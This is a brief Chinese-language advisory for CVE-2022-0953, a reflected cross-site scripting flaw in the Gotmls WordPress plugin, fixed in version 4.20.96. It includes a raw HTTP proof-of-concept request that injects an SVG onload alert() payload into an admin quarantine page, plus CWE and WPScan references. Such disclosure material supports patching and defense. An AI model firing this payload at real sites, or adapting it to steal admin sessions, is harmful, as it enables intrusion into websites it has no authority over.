参考:
CVE-2022-0953
描述:
该插件在将 QUERY_STRING 输出回管理页面之前不会对其进行清理和转义,从而导致在不编码字符的浏览器中出现反射跨站点脚本。
影响插件:
Gotmls - 在版本 4.20.96 中修复
代码语言:javascript复制GET /wp-admin/admin.php?page=GOTMLS_View_Quarantine&a="><svg/oNLoAd=alert(1)> HTTP/1.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [admin ]
Classification:
Type XSS
OWASP top 10 A7: Cross-Site Scripting (XSS)
CWE-79
wpScan:
https://wpscan.com/vulnerability/29ab3c7b-58e0-4a72-b7b4-ab12a6d54f5a